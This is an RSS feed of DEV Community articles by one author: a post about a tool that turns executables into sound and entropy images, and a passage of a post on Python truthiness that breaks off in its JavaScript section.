<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yehan Wasura</title>
    <description>The latest articles on DEV Community by Yehan Wasura (@rezsat).</description>
    <link>https://dev.to/rezsat</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3770787%2F313e93f6-e3cf-480f-81d1-7bc81ab03dba.jpeg</url>
      <title>DEV Community: Yehan Wasura</title>
      <link>https://dev.to/rezsat</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rezsat"/>
    <language>en</language>
    <item>
      <title>I Turned an EXE Into Music (and it actually tells you something)</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Sun, 11 Jan 2026 04:58:15 +0000</pubDate>
      <link>https://dev.to/rezsat/i-turned-an-exe-into-music-and-it-actually-tells-you-something-5bob</link>
      <guid>https://dev.to/rezsat/i-turned-an-exe-into-music-and-it-actually-tells-you-something-5bob</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh5xbg870r6a4e2xtt20.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh5xbg870r6a4e2xtt20.png" width="800" height="362"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Executable Animator: sonify “machine-code-ish” byte patterns into a WAV, generate a visual fingerprint PNG, and watch it pulse in real time&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I was staring at a binary file the way you stare at a wall of rain.&lt;/p&gt;

&lt;p&gt;If you are into this kind of things, like reverse engineering and whatnot, you know the vibe:&lt;/p&gt;

&lt;p&gt;Hex dump looks like… hex dump, disassembler is loud, and your brain is even louder. And you are thinking: &lt;strong&gt;“There has to be a more sensory way to feel the structure.&lt;/strong&gt; ”&lt;/p&gt;

&lt;p&gt;So I did what any reasonable person does when bored and curious. I made a tool that turns any binary (EXE / DLL / SO / OBJ / firmware dump / random blob) into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a &lt;strong&gt;WAV&lt;/strong&gt; you can literally listen to&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;PNG&lt;/strong&gt; “dashboard” that looks like a “fingerprint”&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;live visualizer&lt;/strong&gt; (oscilloscope / spectrum bars / radial pulse) while it plays&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This project is &lt;strong&gt;Executable Animator (&lt;/strong&gt;&lt;a href="https://github.com/RezSat/executable-animator.git" rel="noopener noreferrer"&gt;https://github.com/RezSat/executable-animator&lt;/a&gt;)&lt;/p&gt;
&lt;h3&gt;
  
  
  What this is (and what it isn’t)
&lt;/h3&gt;

&lt;p&gt;This doesn’t “ &lt;strong&gt;understand assembly&lt;/strong&gt; ”. It doesn’t emulate code or even decompile.&lt;/p&gt;

&lt;p&gt;It does something simpler and surprisingly useful:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Treat the binary as a stream of bytes, slide a window over it, extract rolling “texture” features and map them into sound and visuals.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you have ever looked at entropy graphs of packed malware vs normal code… yeah. Same energy.&lt;/p&gt;

&lt;p&gt;But now you can hear it.&lt;/p&gt;
&lt;h3&gt;
  
  
  The core idea: “Byte Texture” in small windows
&lt;/h3&gt;

&lt;p&gt;The worker (main.py) reads the file as raw bytes and summarizes it chunk by chunk.&lt;/p&gt;

&lt;p&gt;Then it extracts a few features per window:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shannon Entropy&lt;/strong&gt; ( &lt;strong&gt;0-8 bits&lt;/strong&gt; for byte distribution): &lt;strong&gt;High entropy&lt;/strong&gt; often correlates with &lt;em&gt;compressed/encrypted/packed regions&lt;/em&gt;. &lt;strong&gt;Low entropy&lt;/strong&gt; often correlates with &lt;em&gt;padding/repeated/patterns/structured data&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mean Byte Value (0–255)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standard Deviation&lt;/strong&gt; (how “spread out” the bytes are)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nibble Histogram (&lt;/strong&gt;distribution of half-bytes 0–15, this is weirdly good at revealing “instruction/padding vibes”)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it. No ML. No magic. Just “what does this region feel like statistically?”&lt;/p&gt;
&lt;h3&gt;
  
  
  Turning those features into sound (aka: I made bytes sing)
&lt;/h3&gt;

&lt;p&gt;Each window becomes a short synthesized note. Then notes are concatenated into a full track.&lt;/p&gt;

&lt;p&gt;Here’s the mapping (straight from the code logic):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pitch&lt;/strong&gt;  — mean byte value (then quantized to a pleasant scale)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amplitude — &lt;/strong&gt; entropy (more complex region makes it louder)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Brightness&lt;/strong&gt;  — standard deviation (more spread gives brighter tone)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To avoid a random mix of MIDI data, pitches are quantized into a &lt;strong&gt;major pentatonic-ish&lt;/strong&gt; scale (I mean, our ears deserve rights).&lt;/p&gt;

&lt;p&gt;And the synth itself is an &lt;strong&gt;FM-ish&lt;/strong&gt; tone: brightness increases the modulation index, so high-variance regions literally get more harmonics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pitch from mean (0..255)
&lt;/span&gt;&lt;span class="n"&gt;midi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;midi_low&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;midi_high&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;midi_low&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;midi_q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;quantize_to_scale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;midi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# amp from entropy (0..8)
&lt;/span&gt;&lt;span class="n"&gt;amp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.08&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.35&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;clip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;8.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# brightness from std
&lt;/span&gt;&lt;span class="n"&gt;bright&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;90.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(You can tweak window size, stride, note duration, MIDI range… and completely change the “instrument.”)&lt;/p&gt;

&lt;h3&gt;
  
  
  The PNG “fingerprint” dashboard
&lt;/h3&gt;

&lt;p&gt;Alongside the audio, this will also generate a PNG with multiple panels:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Byte Image&lt;/strong&gt; (grayscale hexdump as image)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Entropy over time&lt;/strong&gt; (and pitch overlay)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Byte histogram&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nibble distribution heatmap over time&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxryed09ycx8l9770qzme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxryed09ycx8l9770qzme.png" alt="PNG dashboard output for sample binary file" width="800" height="600"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;PNG dashboard output for sample binary file&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This lets you visually correlate what you’re hearing.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Why did the song suddenly get loud and bright here? Look at the entropy spike and nibble chaos. That section is probably not boring padding anymore.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you’re writing malware analysis notes or reversing firmware, this is a fun “first glance” artifact to attach.&lt;/p&gt;
&lt;h3&gt;
  
  
  The GUI: because CLI is cool, but watching and clicking is fun
&lt;/h3&gt;

&lt;p&gt;Code is in the gui.py.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AyDn537mj41j2EZFALTYSUw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AyDn537mj41j2EZFALTYSUw.png" alt="GUI of the Executable Animator program with visual preset set to Oscilloscope" width="800" height="496"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;GUI of the program with visual preset set to Oscilloscope&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This wraps the worker and gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File picker + Generate&lt;/li&gt;
&lt;li&gt;Play/ Stop/ Loop&lt;/li&gt;
&lt;li&gt;Visualizer presents: &lt;strong&gt;&lt;em&gt;Oscilloscope, Spectrum Bars, Radial Pulse&lt;/em&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Zoom + pan PNG preview (with smooth scaling)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under the hood, the GUI literally runs the worker as a subprocess with arguments (so you can test configs without editing the code like a caveperson).&lt;/p&gt;
&lt;h3&gt;
  
  
  How to try it
&lt;/h3&gt;

&lt;p&gt;Clone the repo: &lt;a href="https://github.com/RezSat/executable-animator.git" rel="noopener noreferrer"&gt;https://github.com/RezSat/executable-animator.git&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(Recommended) Run the GUI: python gui.py&lt;/p&gt;

&lt;p&gt;Pick a binary. Generate. Hit Play. Boom.&lt;/p&gt;

&lt;p&gt;Or run the worker directly (CLI)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python main.py /path/to/file.exe -o out
#writes out.wave and out.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For big files, increase window/stride so you don’t accidentally compose a 47 minute symphony from a DLL.&lt;/p&gt;

&lt;p&gt;More parameters are discussed in the README, visit the GitHub Repo and find them.&lt;/p&gt;

&lt;h4&gt;
  
  
  Fun experiments (try these if you want your brain to do the “Oh??” thing)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Compare a normal executable vs a packed one (entropy often screams)&lt;/li&gt;
&lt;li&gt;Feed a PNG or ZIP and notice how the “texture” changes&lt;/li&gt;
&lt;li&gt;Feed firmware dumps — you sometimes get very distinct rhythmic regions (padding, lookup tables, code blocks)&lt;/li&gt;
&lt;li&gt;Try different strides and note durations, you’ll feel the “resolution vs speed” tradeoff immediately&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Safety note: this reads bytes; it doesn’t execute the file. Still, don’t go downloading mystery malware just to make a sick beat. Be normal.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Why I built this (really?)
&lt;/h3&gt;

&lt;p&gt;Because binaries aren’t just numbers. They have structure.&lt;/p&gt;

&lt;p&gt;And sometimes structure is easier to spot when you’re not staring at it, when you’re hearing it, or watching it pulse (or so I think).&lt;/p&gt;

&lt;p&gt;Also, building little tools like this is how I stay sharp. This is the kind of thing I end up making when I’m bored.&lt;/p&gt;

&lt;p&gt;If you try it, tell me what weird things you found. Contributions are welcome — if you add or improve anything, feel free to open a PR.&lt;br&gt;&lt;br&gt;
&lt;a href="https://github.com/RezSat/executable-animator" rel="noopener noreferrer"&gt;https://github.com/RezSat/executable-animator&lt;/a&gt;&lt;/p&gt;




</description>
      <category>reverseengineering</category>
      <category>datascience</category>
      <category>cybersecurity</category>
      <category>datavisualization</category>
    </item>
    <item>
      <title>The Truth About Python’s Truthiness</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Thu, 04 Dec 2025 19:48:16 +0000</pubDate>
      <link>https://dev.to/rezsat/the-truth-about-pythons-truthiness-2li0</link>
      <guid>https://dev.to/rezsat/the-truth-about-pythons-truthiness-2li0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwe8czmbj77lkpcmrhzf2.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwe8czmbj77lkpcmrhzf2.jpeg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stop writing if name == 'java' or 'html' ; it’s not doing what you think it’s doing.&lt;/p&gt;

&lt;p&gt;Within the first glance, it looks like a simple check that sees whether the variable name is either java or html. If you thought, so, then this article is mainly for you.&lt;/p&gt;

&lt;p&gt;I found this while scrolling Instagram in a Saturday evening, there was a reel with a challenge similar to below code (sorry, I couldn’t find the original one, so this is my version of it). And looking at the comment section, there were many confused people — hence, this article.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;python&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;java&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;correct name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;wrong name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output of the above code is correct name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now let’s analyze and see why?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Python is not interpreting this as two comparisons, so in your mind the above code should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;java&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But Python actually parses it as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(name == 'java') or ('html')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You see the difference? html is a &lt;strong&gt;non-empty string&lt;/strong&gt; and &lt;strong&gt;sitting alone&lt;/strong&gt; there. The whole right side of the or operator is now a non-empty string.&lt;/p&gt;

&lt;p&gt;To understand this, run the below code and observe the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Case 1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Case 2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output gives you Case 2 because, the IF-condition checks if the string is Empty or Not.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Empty String → False&lt;/li&gt;
&lt;li&gt;Non-Empty String → True&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s get back to here : (name == 'java') or ('html')&lt;/p&gt;

&lt;p&gt;or becomes the operator here that separates the code into left and right parts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;name == 'java' → returns &lt;strong&gt;False&lt;/strong&gt; (because name was 'python')&lt;/li&gt;
&lt;li&gt;'html' → returns &lt;strong&gt;True&lt;/strong&gt; (because it's non-empty string)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the total expression is now look like this: False or True, which we all know with the basic logic gates knowledge is True (or-gate returns True as long as at least one output is True).&lt;/p&gt;

&lt;p&gt;This happens because of the single string just sitting there, because Strings in python are considered “truthy”.&lt;/p&gt;

&lt;h3&gt;
  
  
  What in the world is Truthy?
&lt;/h3&gt;

&lt;p&gt;“ &lt;strong&gt;Truthy&lt;/strong&gt; ” is a term used in Python (and many other programming languages), and it refers to values that are considered True when evaluated in a *&lt;em&gt;Boolean *&lt;/em&gt; context.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Make a note that, this is &lt;strong&gt;not&lt;/strong&gt; the same as the Boolean value  &lt;strong&gt;True.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When these &lt;em&gt;truthy&lt;/em&gt; values are used in conditions like &lt;strong&gt;if-statements&lt;/strong&gt; or &lt;strong&gt;while-loops&lt;/strong&gt; , a &lt;em&gt;truthy&lt;/em&gt; value will cause the condition to  &lt;strong&gt;pass.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;↓ Just a Fun Fact for Non-native English speakers &lt;a href="https://dev.toSkip%20it%20if%20you%20want"&gt;me&lt;/a&gt;:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Other than in the Programming context, word “truthy” has an older, non-technical definition and a more modern common usage as well:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Older&lt;/strong&gt; : it is used to simply mean truthful or &lt;strong&gt;veracious&lt;/strong&gt; (telling the truth).&lt;/p&gt;

&lt;p&gt;Modern Slag/ &lt;strong&gt;Colloquialism&lt;/strong&gt; : The term was famuously popularized in 2005 by U.S. comedian Stephen Colbert. Where &lt;strong&gt;“truthiness” (noun)&lt;/strong&gt; refers to the quality of seeming or being felt to be true, even if it not supported by facts or evidence. (i.e, gut feeling).&lt;br&gt;&lt;br&gt;
The &lt;strong&gt;adjective “truthy”&lt;/strong&gt; is used to describe something that has that quality.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Truthy and Falsy in Python
&lt;/h3&gt;

&lt;p&gt;This is one of those things that seems wrong until you look a bit deeper. In Python, Logical operators don’t force a boolean context unless they _have _to.&lt;/p&gt;

&lt;p&gt;They operate on “objects”, not just True or False. In Python, every value has an inherent Boolean nature.&lt;/p&gt;

&lt;p&gt;So:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;expr1 or expr2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns expr1 if it’s truthy, otherwise returns expr2. This is not about correctness or boolean purity. It’s all about &lt;em&gt;evaluating the minimum necessary&lt;/em&gt; and then passing the original value up.&lt;/p&gt;

&lt;p&gt;That is why this works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username = input() or "guest"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you enter nothing, input() returns an empty string(falsy), so “guest” becomes the final value. Super convenient. But the moment you’re doing &lt;em&gt;real&lt;/em&gt; comparisons, this same behavior becomes a gremlin waiting to ruin your code (at least in the pre-AI era… you lucky b — well, you get the idea).&lt;/p&gt;

&lt;p&gt;Anyway, let's look at what objects are truthy and falsy in python, so you don’t get bamboozled again.&lt;/p&gt;

&lt;h4&gt;
  
  
  Falsy Values (Exceptions)
&lt;/h4&gt;

&lt;p&gt;The concept of “truthy” is easiest to understand by first knowing the exceptions that are considered as &lt;strong&gt;falsy.&lt;/strong&gt; These are the values that evaluate to False in a Boolean context.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Boolean&lt;/strong&gt;  &lt;strong&gt;False itself.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero of any numeric type&lt;/strong&gt; :
◗ Integer (int) : &lt;strong&gt;0&lt;/strong&gt;
◗ Float (float): &lt;strong&gt;0.0&lt;/strong&gt;
◗ Complex (complex ):  &lt;strong&gt;0j&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Empty sequences and collections:&lt;/strong&gt;
◗ Empty String: "" or ''
◗ Empty List: []
◗ Empty Tuple: ()
◗ Empty Dictionary: {}
◗ Empty Set: set()&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The special value **&lt;/strong&gt; None**&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Truthy Values (Everything Else)
&lt;/h4&gt;

&lt;p&gt;Every value that is &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; one of the falsy values given above is considered truthy.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Boolean True&lt;/li&gt;
&lt;li&gt;Any non-zero number (positive or negative)&lt;/li&gt;
&lt;li&gt;Any non-empty sequence or collection (__bool__ or __len__) that makes them falsy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  So, what is the right way to write our original intention?
&lt;/h3&gt;

&lt;p&gt;Well in programming there are different ways to do things, because it all depends on the program you're building, here are some very common ways to do this particular thing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repeat the comparison &lt;/strong&gt; — if you actually wanted to check if name is 'java' or 'html’, you need to repeat the comparison.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;java&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use &lt;strong&gt;in keyword&lt;/strong&gt;  — cleaner way in my opinion, because it reads better and has zero ambiguity, also doesn’t rely on the truthiness magic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;java&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many other languages also support this truthiness/falseness concepts, but some of them do not allow them at all. Here is an extra breakdown of a few selected languages:&lt;/p&gt;

&lt;h4&gt;
  
  
  Languages where “truthiness / falsiness” is built in (non-boolean values allowed in conditionals)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JavaScript&lt;/strong&gt;
◗ JS has a defined set of &lt;em&gt;falsy&lt;/em&gt; values: false, 0, -0, 0n, "", null, undefined, NaN. Everything else is &lt;em&gt;truthy&lt;/em&gt; — numbers (non-zero), non-empty strings, objects, arrays, functions, etc.
